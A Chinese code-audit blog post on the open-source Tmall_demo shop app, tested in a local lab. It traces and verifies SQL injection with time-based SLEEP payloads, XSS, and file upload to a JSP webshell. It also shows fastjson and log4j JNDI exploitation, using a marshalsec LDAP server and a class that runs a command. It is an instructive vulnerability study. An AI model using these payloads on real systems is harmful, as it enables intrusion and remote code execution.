MINI天猫商城代码审计

MINI天猫商城代码审计

前言

最近看到很多师傅们,都在做这套tmall系统的代码审计,一时起兴趣,就自己也下载下来进行审一审,全程按照自己的思路去审计分析。在此进行简单的记录。

环境搭建与配置

项目地址:https://gitee.com/project_team/Tmall_demo

配置文件:src/main/resources/application.properties

修改为自己的数据库地址,也可以修改启动的端口

image

启动文件:src/main/java/com/xq/tmall/TmallSpringBootApplication.java

待maven加载完依赖之后,在该文件中进行启动项目。

image

浏览器访问

image

当我进行一些功能的操作的时候,发现报错了。

从下面这篇文章找到了解决方法,大概的意思就是我mysql版本较低,有个sql_mode默认没有开启,需要手动开启一下。

https://www.cnblogs.com/hungryquiter/p/16995127.html

1
SET @@global.sql_mode ='STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION';

上述配置是临时开启该模式,重mysql之后会消失。

审计硬编码和使用的供应链

硬编码

直接ctrl+shif+f 全局搜索password 、pass、jdbc等关键字。

搜索password

image

搜索jdbc

image

上述可看到一些硬编码

供应链安全

本项目是使用maven管理,所以直接查看pom.xml文件,分析用了那些依赖以及版本。再去判断是否存在漏洞。

image

分析到了druid、fastjson、log4j、springframework.boot等一些比较常见的存在漏洞的组件或框架。

先对其有大致的了解,后续再深入研究。

审计owaspTop10漏洞

SQL注入

SQL注入一(后台)

分析了一下该项目,发现mybatis的xml文件均存放在/Users/garck/D/code/java/CodeAudit/Tmall_demo-master/src/main/resources/mybatis/mapper中。

下面直接搜索这个文件夹下面的带有 “$” 符号的xml文件来进行详细分析。

image

image

SQL语句使用了“$” 符号,就是使用了拼接的方式进行执行。若能够控制传入的数据,且没有过滤的情况下,可构造payload进行SQL注入。

下面开始分析 ProductMapper.xml的“${orderUtil.orderBy}”

image

这是一个查询的SQL语句,并且绑定的是select方法,且是属于接⼝com.xq.tmall.dao.ProductMapper的select方法

image

查看该接口,确认存在select方法,且传入了OrderUtil参数

image

搜索哪个地方调用了这个接口的方法,发现接口实现类ProductServiceImpl中有调用

image

详情

image

ProductService接口类声明的getList,同时传入的orderUtil

image

看一下orderUtil工具类

image

搜索哪个controller类中调用了ProductServiceImpl的getList方法,分析一下ForeProductListController168行

image

看了一下这个注释,大概是在 获取商品列表的时候需要调用ProductService.getList。

还原一下接口URL;确认是GET请求,根路径是product

image

产品高级查询功能;product/{index}/{count},看到这里之后,凉凉了,orderUtil不可控。

image

继续找其他调用ProductService.getList的controller类;看一下ProductController类的49行,发现传入的orderUtil为null,直接跳过分析下一个。

image

ProductController类的405行,

image

结合OrderUtil的构造方法分析,看看有没有传入orderBy和isDesc这两个参数

image

发现参数可控,前端传入orderBy参数到该控制层

image

构造payload

admin/product/{index}/{count},加上一个统一的前缀/tmall后继续访问;/tmall/admin/product/

image

登录后台。账号:admin. 密码:123456

因为这里使用了rest风格的URL,理论上说index和count可以随意输入,所以直接构造到的URL为:http://192.168.75.154:8090/tmall/admin/product/1/1?orderBy=1

注入参数:orderBy

image

添加单引号

image

延迟5秒

image

sqlmap验证

image

看了一下过滤器,只做了权限校验。没有做SQL注入的过滤,所以只要发现参数可控的注入的即可注入,不需要绕过。

image

SQL注入二(前台)

继续寻找调用了ProductServiceImpl的getList方法的controller

ProductService.getList

Text
1
2
3
4
----  ForeHomeController    ###调用ProductService.getList时传入为null,不存在注入
---+ ProductController ###后台注入
---+ ForeProductListController ###前台注入
---- ForeProductDetailsController ###调用ProductService.getList时传入为null,不存在注入

ForeProductListController的168行传入了orderUtil对象。

image

分析orderUtil对象的来源。

image

image

进行构造payload

1
192.168.75.154:8090/tmall/product/0/20?orderBy=1 AND (SELECT 3188 FROM (SELECT(SLEEP(5)))KJQA)

image

成功延迟

image

SQL注入三(前台)

分析到了利用链:ProductMapper.selectMoreList—ProductService.getMoreList—ForeProductListController(163)。

需要满足条件:

Text
1
2
product_name_split不为空
product_name_split.length长度大于1

image

溯product_name_split的由来

image

product_name_split = product_name.split(“ “);

Text
1
product_name 不为空

分析得知:product_name_split 是通过空格去匹配来切割product_name传入的参数的值来分隔的

.split:可以根据匹配给定的正则表达式来拆分字符串

所以传入的参数需要传入两个,并且使用空格分隔。最终得到的payload

1
2
3
4
/tmall/product/0/20?orderBy=%31%20%41%4e%44%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%28%73%6c%65%65%70%28%35%29%29%29%6d%73%63%70%29&isDesc=true&category_id=2&category_id=3&product_name=%71%77%65%2c%61%73%64%20%7a%78%63


/tmall/product/0/20?orderBy=1 AND (select 1 from (select (sleep(5)))mscp)&isDesc=true&category_id=2&category_id=3&product_name=qwe,asd zxc

image

SQL注入总结

本系统共审计发现6个SQL注入点且均已验证确认。下面是详细的污点传播链。

  • SQL注入1:
    RewardController(97)–>RewardService.getList–>RewardMapper.select –>RewardMapper.xml(${orderUtil.orderBy})
  • SQL注入2:
      ForeProductListController(163)–> ProductService.getMoreList–>ProductMapper.selectMoreList–> ProductMapper.xml(${orderUtil.orderBy})
  • SQL注入3:
    ProductController(405)–>ProductService.getList–> ProductMapper.select–> ProductMapper.xml(${orderUtil.orderBy})
  • SQL注入4:
    ForeProductListController(168)–>ProductService.getList–> ProductMapper.select–>ProductMapper.xml(${orderUtil.orderBy})
  • SQL注入5:
    OrderController(176)–>ProductOrderService.getList–>ProductOrderMapper.select–>ProductOrderService.xml(${orderUtil.orderBy})
  • SQL注入6:
    UserController(170)–> UserService.getList–>UserMapper.select–>UserMapper.xml(${orderUtil.orderBy})

image

XSS(反射)

  • requestScope:是EL表达式中的一个隐含对象,类似request,如:${requestScope.username} 表示在request域中取得username属性所对应的值

搜索requestScope、map.put。

触发链:ForeProductListController拿到了product_name后赋值给searchValue,未做处理之后直接map.put传到了request域,转到fore/productListPage。

链为:前端传参–>ForeProductListController–>获取参数–>传到前端–>展示(触发)

image

productListPage页面直接调用

image

验证

image

image

XSS(存储)

注册账号

控制层拿到传入的user_name

image

创建用户对象,然后将用户对象传入到service层

image

service调用dao层的接口

image

image

最终到了xml配置文件,执行SQL语句的地方,成功插入数据。

image

burp验证。

image

看了下数据表,只要名字的长度不超过25就不会报错,不然报服务器500的错误。

image

登录账号之后触发。有一个页面是去获取数据库中存储的用户名的。所以登录之后直接出发XSS。

image

触发链:

访问tmall/login,即可访问到ForeLoginController控制层的login,重定向到 fore/loginPage

image

登录页面的loginPage.jsp

image

调用了fore_login.js;如果后端响应返回成功,则访问/tmall

image

登录成功返回

image

主页,取出前面登录成功存进去的userId,判断用户是否登录。如果已经登录则把整改user对象传到Request。map.put(“user”, user);其中user对象的数据会调用service层的userService.get,service会调用dao的userMapper.selectOne,selectOne去数据库根据这个userId查询信息。返回后封装成User对象。

image

执行完上面的之后,跳转到fore/homePage;homePage里面又包含了navigator.jsp

image

navigator.jsp触发

image

文件上传

文件上传1

全局搜索upload

image

发现头像上传的controller,且不存在过滤。

通过post上传文件,调用UUID随机数重命名文件之后直接保存到了res/images/item/userProfilePicture/目录,上传成功之后JSON格式返回状态以及文件名称。

未对所上传的文件进行类型已经文件后缀校验,存在任意文件上传漏洞。

image

前台用户头像更换处

image

使用蚁剑生成一个jsp的webshell,直接粘贴到bp进行上传。

image

连接URL:http://192.168.75.154:8090/tmall/res/images/item/userProfilePicture/e1dd8f9e-25bb-4d14-be97-0f378c49cdf9.jsp

因为有个统一的前缀/tmall,所以这个别忘记加上。

image

image

本项目存在4个文件上传点,且都可以进行getshell

文件上传2

image

image

image

image

文件上传3

管理员头像上传

image

文件上传4

添加产品处

image

image

CSRF

因项目没有其他过滤器校验Referer头,所以全局存在CSRF漏洞。

image

验证

image

image

SSRF

搜索全局未发现可能引起SSRF的危险函数。

框架漏洞

fastjson

拿到源码的时候,fastjson使用的是1.2.83版本;这个版本目前暂时安全。为了好玩一点,我们可以把版本降低一点来进行fastjson的反序列化攻击测试,我这里就直接改为了1.2.24。(当然这不算属于这个源码本身的漏洞,只是学习把版本降低进行测试。)

搜索关键字JSON.parseObject(Json字符串转化为相应的对象)

image

更新产品属性的地方进行了JSON.parseObject(添加产品属性的地方也进行了JSON.parseObject),没进行过滤,从前端获取到数据,直接传给JSON.parseObject。

image

image

image

进行dnslog探测

1
{"garck3h":{"@type":"java.net.Inet4Address","val":"666.eyle20.dnslog.cn"}}

image

image

使用BCEL进行本地序列化成功弹计算器。

image

使用Spring做回显,成功执行命令并且回显

image

此外该系统还有其他功能点存在该漏洞

log4j2

这里的log4j是2.20版本,属于安全版本。我改一下为2.14版本。测试一下log4j漏洞。

image

全局搜索:logger.info;发现一个orderBy是可控的

image

image

使用dnslog进行探测,成功接收到请求。

1
${jndi:ldap://log4j.15k855.dnslog.cn}

image

image

进行JNDI注入:

写好的弹计算器的payload,然后使用Javac TestCmd.java进行编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.IOException;

public class TestCmd {

static {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
TestCmd qwe = new TestCmd();
}
}

使用marshalsec-0.0.3-SNAPSHOT-all.jar起ldap服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#TestCmd"

使用python3起http服务

1
python3 -m http.server 8888

payload

1
${jndi:ldap://192.168.75.154:1389/a}

image

此外该系统还有其他功能点存在该漏洞

总结

  • 因为本次的mysql是部署在Linux服务器的,Linux区分大小写,但SQL文件里面的一些表名称是小写的,会导致表名不对,根据控制台提示进行修改即可。
  • 遇到错误“this is incompatible with sql_mode=only_full_group_by ”;因为mysql 5.7.5版本以上默认的sql配置是:sql_mode=“ONLY_FULL_GROUP_BY”。由于开启了ONLY_FULL_GROUP_BY的设置,如果select 的字段不在 group by 中,并且select 的字段未使用聚合函数(SUM,AVG,MAX,MIN等)的话,那么这条sql查询是被mysql认为非法的,会报错误。
  • 这项目不复杂,都是一些比较常规常见的漏洞,而且调用关系也清晰,审计起来比较轻松。该系统或还有一些没有挖掘的漏洞,望师傅们勿喷。